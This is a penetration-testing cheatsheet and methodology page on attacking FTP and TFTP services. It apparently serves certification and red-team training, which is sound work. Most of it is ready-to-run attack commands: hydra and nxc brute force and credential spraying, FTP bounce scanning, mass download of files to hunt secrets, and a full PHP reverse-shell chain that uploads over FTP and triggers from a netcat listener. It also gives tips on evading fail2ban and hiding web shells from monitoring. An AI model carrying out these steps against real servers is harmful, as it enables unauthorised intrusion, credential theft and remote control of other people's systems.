FTP - Port 21
Cheatsheet
# Banner grab
nc -nv <IP> 21
nmap -sV -sC -p21 <IP>
# Nmap all FTP scripts
sudo nmap --script-updatedb # update scripts database
nmap --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor,ftp-proftpd-backdoor,ftp-features,ftp-brute -p21 <IP>
# Enumerate FTP server features (FEAT command)
nmap -p21 --script ftp-features <IP>
ftp <IP>
nxc ftp <IP> -u 'anonymous' -p 'anonymous' # anonymous login
# Cspray
nxc ftp <IP> -u <userlist/username> -p <passwordlist/password>
# Hydra brute force
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -t 4 ftp://<IP>
# Recursive download
wget -m --no-passive ftp://<USER>:<PASS>@<IP>
lftp -u <USER>,<PASS> -e "mirror -c / /local/path; quit" ftp://<IP>
# SSL/TLS FTP connection
openssl s_client -connect <IP>:21 -starttls ftp
# Upload a file
ftp <IP>
# ftp> binary
# ftp> put <FILE>
# FTP bounce port scan internal hosts through FTP
nmap -Pn -b <FTP_USER>@<IP> <INTERNAL_TARGET>
# TFTP no auth, UDP port 69
nmap -sU -p69 <IP>
tftp <IP>
# tftp> get <FILE>
# tftp> put <FILE>
# Connect with lftp (enhanced FTP client)
lftp <IP> # lftp ftp://ourusername:ourpassword@<IP>
lftp :~> login <USER> <PASS>
# bookmark a ftp client in lftp prompt
lftp :~> bookmark remotehost ftp://ouruser:ourpassword@ftp.remotehost.com # if already connected lftp :~> bookmark remotehost
$ lftp remotehost
Methodology
Phase 1: Fingerprint
Ask youself
- What exact FTP implementation and version is responding?
- Does the banner agree with Nmap and protocol behavior, or could it be customized?
- Which advertised features (AUTH TLS, SITE EXEC, mod_copy) change the available enumeration paths?
- Are there known CVEs for this exact version, and do the prerequisites match the target?
- What OS hints does the banner or service response reveal?
# Grab the banner note exact server name + version
nc -nv <IP> 21
# Service/version detection + default NSE scripts (includes ftp-anon)
nmap -sV -sC -p21 <IP>
# Enumerate advertised features via FEAT (AUTH TLS, SITE, MLST, UTF8)
nmap -p21 --script ftp-features <IP>
# Match the exact version against known exploits
searchsploit <server> <version>-
nc -nv <IP> 21: grab banner, note exact server name and version. The banner often reveals the software and version in plaintext before authentication. -
nmap -sV -sC -p21 <IP>: run default NSE scripts. The-sCflag includesftp-anonwhich automatically checks if anonymous login is permitted. Look for “Anonymous FTP login allowed” in the output. -
nmap -p21 --script ftp-features <IP>: sends theFEATcommand to enumerate server capabilities (AUTH TLS, UTF8, MLST, SITE commands).AUTH TLSmeans encrypted connections are possible,SITE EXECcould mean command execution, andSITE CPFR/CPTOindicates mod_copy. - Google the exact version string : search
<server> <version> exploiton Google, Exploit-DB, searchsploit. -
searchsploit <server> <version>: check local Exploit-DB for known CVEs.
Phase 2: Anonymous / Null Access
Ask youself
- Can I authenticate anonymously, as
ftp, or with a blank password? - Which directories and hidden files are readable?
- Can I write, rename, overwrite, or delete files?
- Does the FTP root overlap with a web root or another exposed service?
- Are there config files, backups, SSH keys, or credentials accessible?
- What does the directory structure reveal about the server’s role?
# anonymous login
ftp <IP>
nxc ftp <IP> -u 'anonymous' -p ''
# Inside the session: list everything incl. hidden files, then pull it all
# ftp> ls -la
# ftp> prompt off
# ftp> mget *
# Test write access with a harmless file
# ftp> put test.txt-
ftp <IP>: tryanonymous/ (empty password),anonymous/anonymous,ftp/ftp. simple misconfig leads to big hit. - If anonymous works:
ls -lalist everything including hidden files. Hidden files (dotfiles like.htpasswd,.bash_history,.ssh/) are where the gold is. -
cdinto every directory : enumerate the full directory tree. Sensitive files are often nested several levels deep in backup, config, or user directories. -
get <FILE>ormget *: download everything. Prioritize: config files (database creds, API keys), backups (.tar.gz,.zip,.bak), scripts (may contain hardcoded passwords),.htpasswdfiles (crackable hashes), web roots (index.php,wp-config.php). -
put test.txt: test write permissions. If the server accepts the upload, note the directory path. - Check if FTP root maps to a web server root (
/var/www/html,C:\inetpub\wwwroot). Writable FTP + web root = RCE can upload a PHP/ASPX shell and trigger it via HTTP.
Phase 3: Default and Harvested Credentials
Ask youself
- Which usernames and passwords have already been discovered from other services?
- Does the service authenticate local system accounts, domain accounts, or application accounts?
- Are there default credentials specific to the identified FTP server software?
- Have credential reuse and targeted defaults been exhausted before brute force?
nxc ftp <IP> -u <USER> -p <PASS> # single pair
nxc ftp <IP> -u admin -p admin # common defaults
nxc ftp <IP> -u users.txt -p pass.txt # password list- Try common defaults: Many FTP servers ship with default credentials that are never changed especially in lab environments, internal networks, and IoT devices.
- Check if FTP users are system users on Linux, FTP often authenticates against
/etc/passwd. Usernames found via SMTP VRFY,/etc/passwddumps, LDAP queries, or RID cycling may work here with common or reused passwords. - Spray credentials harvested from other services against FTP. Credential reuse is the single most common way into FTP a database password from a config file, an SNMP community string, or an LDAP bind credential may work as an FTP login.
Phase 4: Misconfiguration Checks
Ask youself
- Is the server vulnerable to FTP bounce (PORT command accepting arbitrary addresses)?
- Does the version match any known backdoor (vsFTPd 2.3.4) or unauthenticated module (ProFTPd mod_copy)?
- Does the TLS certificate leak internal hostnames, email addresses, or domain info?
- Are diagnostic commands (
debug,status,trace) enabled and leaking info? - Is TFTP (UDP 69) also running with no authentication?
- Are there hidden directories not shown in
lsthat are still accessible by name?
# FTP bounce: does the server proxy scans to arbitrary hosts?
nmap --script ftp-bounce -p21 <IP>
# Inspect the FTPS certificate for internal hostnames / emails
openssl s_client -connect <IP>:21 -starttls ftp
# TFTP no-auth UDP service that's easy to miss
nmap -sU -p69 <IP>-
nmap --script ftp-bounce -p21 <IP>test FTP bounce attack. If the server accepts arbitrary addresses in thePORTcommand, it can be used as a proxy to scan internal networks or bypass firewall rules. -
nmap --script ftp-vsftpd-backdoor -p21 <IP>vsFTPd 2.3.4 backdoor check. Sending a username ending with:)opens a bind shell on port 6200. - Check for ProFTPd mod_copy
SITE CPFR /etc/passwdthenSITE CPTO /var/www/html/passwd. Themod_copymodule allows any connected user to copy files anywhere the FTP process can reach. -
openssl s_client -connect <IP>:21 -starttls ftpcheck for FTPS. Inspect the certificate for hostnames, email addresses, organization names, and internal domain info. -
debug/status/tracecommands inside FTP session diagnostic commands may leak internal configuration, installation paths, OS info, or module list. - Check for TFTP on UDP 69:
nmap -sU -p69 <IP>TFTP requires no authentication. Common on network devices for firmware updates and config backups.
Phase 5: Brute Force
Ask youself
- Have anonymous access, default credentials, and credential reuse been fully exhausted?
- What lockout, rate-limit, and monitoring controls apply (fail2ban, PAM modules)?
- Which usernames have the highest probability of success?
- Is a small targeted wordlist sufficient, or is a large dictionary required?
- What is the OPSEC cost ? will this trigger alerts or ban my IP?
# Targeted default list FIRST (fast, low-noise, often hits)
hydra -L users.txt -P /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -t 4 ftp://<IP>
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -t 4 -w 5 ftp://<IP>
nmap -p21 --script ftp-brute <IP>
# Multi-user credential stuffing with clean output
nxc ftp <IP> -u users.txt -p passwords.txt-
hydra -L users.txt -P .../ftp-betterdefaultpasslist.txt -t 4 ftp://<IP>start with a small targeted list, not rockyou. A 100-entry list that hits in seconds beats a 14-million-entry list that takes hours and gets you banned. -
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -t 4 -w 5 ftp://<IP>keep threads low (-t 4) and add wait time (-w 5) to avoid triggering fail2ban or account lockout. FTP brute force is slow and noisy every failed login generates a log entry. -
nmap -p21 --script ftp-brute <IP>nmap-based brute force with built-in credential lists. Useful as a quick check with common creds without Hydra setup. -
nxc ftp <IP> -u users.txt -p passwords.txtmulti-user credential stuffing. Netexec handles the spray pattern automatically with clean output. - If locked out, wait or try from a different source IP. Some fail2ban configurations ban the offending IP for 10-30 minutes.
Phase 6: Post-Access Actions
Ask youself
- What files are accessible now that were not visible anonymously?
- Do any downloaded files contain credentials, keys, or config data?
- Can newly found credentials be sprayed against SSH, SMB, WinRM, RDP, databases?
- If writable access exists, does the directory overlap with a web root for RCE?
- Do FTP credentials also work for SSH (system user authentication)?
# Mirror the entire tree (drop --no-passive if NAT breaks passive mode)
wget -m --no-passive ftp://<USER>:<PASS>@<IP>
# Hunt for secrets across everything you downloaded
grep -ri 'password\|passwd\|secret\|key\|token\|credential' ./
# Reuse harvested creds against other services
nxc ssh <IP> -u <USER> -p <PASS>
nxc smb <IP> -u <USER> -p <PASS>- Download everything:
wget -m --no-passive ftp://<USER>:<PASS>@<IP>. The-mflag mirrors the entire directory tree recursively. Use--no-passiveif passive mode fails (common behind NAT). - Search for credentials in downloaded files:
grep -ri 'password\|passwd\|secret\|key\|token\|credential' ./cast a wide net across all downloaded content. - Spray any new credentials against all other services: SSH, SMB, WinRM, RDP, MySQL, MSSQL.
- If writable FTP + web root confirmed: upload a web shell for RCE (see PHP Reverse Shell via FTP below).
- If FTP creds work for SSH: connect directly for a proper interactive shell, proceed to file transfers and privesc.
Quiz
You found writable anonymous FTP access. What's your first move?
Overview
FTP (File Transfer Protocol) is a standard network protocol for transferring files between hosts over TCP. It operates on a client-server model where the client initiates a connection to upload, download, or manage files and directories on a remote server. Default port: 21.
How FTP Uses Two Channels
Unlike most protocols that use a single TCP connection, FTP separates control and data into two distinct channels. This dual-channel architecture is what makes FTP tricky with firewalls and NAT and is also what enables the bounce attack.
| Channel | Port | Purpose |
|---|---|---|
| Control | TCP 21 | Commands (USER, PASS, LIST, RETR, STOR) and server response codes |
| Data | TCP 20 (active) or ephemeral (passive) | Actual file content and directory listings |
Active vs Passive mode: In active mode, the client tells the server its IP and port via the PORT command, and the server initiates a data connection back to the client on that address. This often fails when the client is behind a firewall or NAT because the inbound connection gets blocked. In passive mode, the server opens a random high port and tells the client to connect to it via the PASV response the client initiates both connections, which works better through firewalls. If downloads fail, toggle between modes (passive command in the FTP session, --no-passive flag with wget).
Connection Methods
FTP Client
ftp <IP>
ftp <IP> <PORT>The standard ftp client is available on virtually every Linux and Windows system. The port argument is optional and defaults to 21. The built-in client is fine for manual enumeration but lacks scripted mirroring and robust error handling use lftp or wget for bulk operations.
lftp (Enhanced Client)
lftp <IP>
lftp -u <USER>,<PASS> ftp://<IP>
lftp -u <USER>,<PASS> -e "mirror -c / /local/path; quit" ftp://<IP>lftp supports bookmarks, automatic mirroring, job control, and scripting. It handles special characters in passwords (e.g., !, @, #) far better than the standard ftp client, which often chokes on them. The mirror -c flag enables resumable downloads useful for large files over unstable connections.
FTP Session Commands
Once connected, these are the commands used most during enumeration and data exfiltration:
| Command | Description |
|---|---|
ls -la | List all files including hidden (dotfiles). Some servers don’t support -la try dir instead. |
dir | List directory with verbose details (permissions, size, date). Server-dependent formatting. |
cd <DIR> | Change directory on the remote server. |
lcd <DIR> | Change directory on your local machine (controls where get saves files). |
pwd | Print current working directory on the server. |
get <FILE> | Download a single file. |
mget * | Download all files in the current directory. Run prompt off first to avoid per-file confirmation. |
put <FILE> | Upload a single file. Use to test write permissions or drop a web shell. |
mput * | Upload multiple files. |
binary | Switch to binary transfer mode. Critical for non-text files ASCII mode corrupts executables, archives, and images. |
ascii | Switch to ASCII transfer mode. Only use for plain text files. |
passive | Toggle passive mode on/off. Switch if transfers hang or fail (usually a NAT/firewall issue). |
prompt off | Disable per-file confirmation for mget/mput. Always run this before bulk downloads. |
debug | Toggle debug output. May reveal internal server paths, module names, and OS info. |
status | Show current session info transfer mode, connection type, server config details. |
quit | Exit the FTP session. |
Always run binary before transferring executables, archives, or images. ASCII mode translates line endings (LF to CRLF), which silently corrupts binary files. A corrupted reverse shell binary will fail to execute on the target with no helpful error message.
NetExec (nxc)
NetExec is the fastest way to check FTP credentials across multiple hosts.
# Anonymous login check
nxc ftp <IP> -u 'anonymous' -p ''
# Check single credentials
nxc ftp <IP> -u <USER> -p <PASS>
# Credential file spray tries every user/pass combination
nxc ftp <IP> -u users.txt -p passwords.txt
# Password spray one password against many users (avoids lockout)
nxc ftp <IP> -u users.txt -p '<PASS>'
# Subnet sweep find all FTP servers with anonymous access
nxc ftp <SUBNET>/24 -u 'anonymous' -p ''The subnet sweep is particularly valuable during internal assessments it identifies every FTP server on the network and immediately flags which ones allow anonymous access. Run this early in the engagement to build a target list.
Brute Force
Brute forcing FTP involves systematically trying username/password combinations from wordlists. FTP has no built-in rate limiting protection depends entirely on external tools like fail2ban or PAM modules, which many servers do not configure.
# Hydra single user, large password list
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ftp://<IP>
# Hydra multiple users and passwords
hydra -L users.txt -P passwords.txt ftp://<IP>
# Hydra low threads + wait time to avoid fail2ban
hydra -L users.txt -P passwords.txt -t 4 -w 5 ftp://<IP>
# Nmap ftp-brute script (quick check with default credential lists)
nmap -p21 --script ftp-brute <IP>
# Medusa alternative brute forcer
medusa -h <IP> -U users.txt -P passwords.txt -M ftpOPSEC: FTP brute force is extremely noisy. Every failed login attempt generates a log entry. Most production servers run fail2ban, which bans your IP after 3-5 failed attempts. Keep threads low (-t 4), add wait time between attempts (-w 5), and always exhaust anonymous access, default creds, and credential reuse before resorting to brute force. If banned, wait for the ban to expire (typically 10-30 minutes) or pivot through a different IP.
Before brute forcing with rockyou.txt (14 million entries), try smaller targeted lists first: /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt, /usr/share/seclists/Passwords/Common-Credentials/top-100.txt. A 100-entry list that hits in 2 seconds is better than a 14-million-entry list that takes 6 hours and gets you banned.
FTP Bounce Attack
The FTP bounce attack exploits the PORT command, which tells the server where to send data. If the server does not validate the target address, an attacker can instruct it to send data to any host and port effectively turning the FTP server into a proxy for port scanning internal networks, bypassing firewall rules, and masking the true source of an attack.
nmap --script ftp-bounce -p21 <IP>
# Nmap use FTP server as proxy to port scan an internal target
nmap -Pn -b <FTP_USER>@<IP> <INTERNAL_TARGET>Manual bounce execution:
# Connect to the FTP server
ftp <IP>
# The PORT command format: IP as 4 comma-separated octets, then port as two bytes
# To scan 192.168.1.100 port 80: PORT 192,168,1,100,0,80
# Port calculation: port_hi * 256 + port_lo = target_port
# Example: port 8080 = 31 * 256 + 144 → PORT 192,168,1,100,31,144
quote PORT <TARGET_IP_COMMA_SEP>,<PORT_HI>,<PORT_LO>
get <FILE>
# If the transfer succeeds, the target port is open
# If it fails with "425 Can't build data connection", the port is closedPHP Reverse Shell via FTP + Web Server
# 1. Download the PHP reverse shell payload
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.phpEdit shell.php and set your listener IP and port:
$ip = '<LHOST>'; // Your attack machine IP
$port = <LPORT>; // Port your listener will be on# 2. Upload the shell via FTP
ftp <IP>
ftp> binary
ftp> put shell.php
ftp> quit
# 3. Start a listener on your attack machine
nc -lvnp <LPORT>
# 4. Trigger the shell browse to the uploaded file
# http://<IP>/shell.php
# Or: curl http://<IP>/shell.phpThe PHP shell file persists on disk after execution. Clean up immediately: ftp> delete shell.php. Web shells are detected by file integrity monitoring (AIDE, OSSEC), antivirus signatures, and web application firewalls. For stealth, consider a one-liner shell in a .htaccess override or a shell with a randomized filename and authentication gate.
If you do not know whether the FTP directory maps to a web root, check FTP server config files for path directives: vsFTPd uses anon_root or local_root in /etc/vsftpd.conf, ProFTPd uses DefaultRoot in /etc/proftpd/proftpd.conf, IIS FTP uses site bindings in C:\Windows\System32\inetsrv\config\applicationHost.config. Common web roots: /var/www/html, /var/www, /srv/http, C:\inetpub\wwwroot, C:\xampp\htdocs.
Quiz
The web server runs ASP.NET instead of PHP. Can you still get RCE through FTP?
TFTP : UDP Port 69
TFTP (Trivial File Transfer Protocol) is a stripped-down file transfer protocol that sacrifices every security feature for simplicity. It has no authentication, no encryption, no directory listing, and runs over UDP instead of TCP. TFTP was designed for bootstrapping diskless workstations (PXE boot) and firmware updates on embedded devices scenarios where simplicity matters more than security.
# Scan for TFTP
nmap -sU -p69 <IP>
# Connect and transfer files
tftp <IP>
tftp> get <FILE>
tftp> put <FILE>
tftp> quit| Limitation | Detail |
|---|---|
| No authentication | Anyone can read/write if the service is running |
| No directory listing | You must know or guess the filename |
| UDP only | No connection state unreliable over lossy networks |
| No encryption | All data in cleartext, easily sniffed |
TFTP is commonly used for PXE boot, firmware updates, and VoIP phone configs. If TFTP is open, try common filenames that often contain credentials in cleartext: network devices (running-config, startup-config, backup-config), VoIP (phone.cfg, SIPDefault.cnf, SEP<MAC>.cnf.xml), boot (pxelinux.0, boot.ini, grub.cfg). Network device configs pulled via TFTP frequently contain SNMP community strings, VPN pre-shared keys, VLAN configurations, and admin passwords in reversible encryption.
vsFTPd Configuration Reference
vsFTPd (Very Secure FTP Daemon) is the most common FTP server on Linux. Despite the name, its security depends entirely on configuration. The config file is highly readable and contains directives that directly map to attack vectors.
Config file: /etc/vsftpd.conf
Blocked users: /etc/ftpusers users listed here are denied FTP access (typically root, daemon, bin)
Dangerous Settings (Misconfigurations to Look For)
| Setting | Risk |
|---|---|
anonymous_enable=YES | Anonymous login permitted, immediate file access without credentials |
anon_upload_enable=YES | Anonymous users can upload files, potential web shell drop |
anon_mkdir_write_enable=YES | Anonymous users can create directories ,aids in staging payloads |
no_anon_password=YES | No password prompt for anonymous,lowers the bar further |
write_enable=YES | Write commands enabled globally (STOR, DELE, RNFR, MKD, RMD) |
anon_root=/var/www/html | Anonymous root maps to web server root, writable anonymous + this = instant RCE |
local_enable=YES | System users can log in via FTP, FTP creds = SSH creds in most cases |
chroot_local_user=NO | Users NOT jailed to home, can traverse the entire filesystem |
ls_recurse_enable=YES | Recursive ls allowed, full directory tree enumeration in one command |
hide_ids=NO | File listings show real UID/GID, reveals system usernames |
pasv_min_port / pasv_max_port | Defines passive mode port range, reveals firewall rules and port allocation |
The most dangerous combination is anonymous_enable=YES + anon_upload_enable=YES + anon_root=<web_root>. This gives any unauthenticated user the ability to upload executable files directly into the web server’s document root, a trivial path to RCE.
Quiz
You see anonymous_enable=YES and anon_upload_enable=YES in a vsftpd config. What's the attack path?
Common Mistakes
- Forgetting
binarymode: uploading executables or archives in ASCII mode silently corrupts them. The reverse shell binary fails on the target with no helpful error. - Jumping to brute force too early always exhaust anonymous access, default creds, and credential reuse first. Brute force is slow, noisy, and often gets you banned.
- Not spraying FTP credentials elsewhere FTP credentials found in config files or through login must be tried against SSH, SMB, WinRM, RDP, and databases immediately.
- Not checking write access always
put test.txtto verify write permissions. Missing writable anonymous access on a web root is the difference between an informational finding and RCE. - Ignoring TFTP on UDP 69 it requires no authentication and is easily missed if you only scan TCP.
- Using
--passivewhen--no-passiveis needed ifwget -mhangs, the server is likely behind NAT and passive mode data connections are failing. Toggle the mode.
#Penetration Testing #Red Team #Certification #Linux #Windows #FTP #ServiceEnum #Anonymous #Hydra #TFTP #NXC #Brute-Force #FileTransfer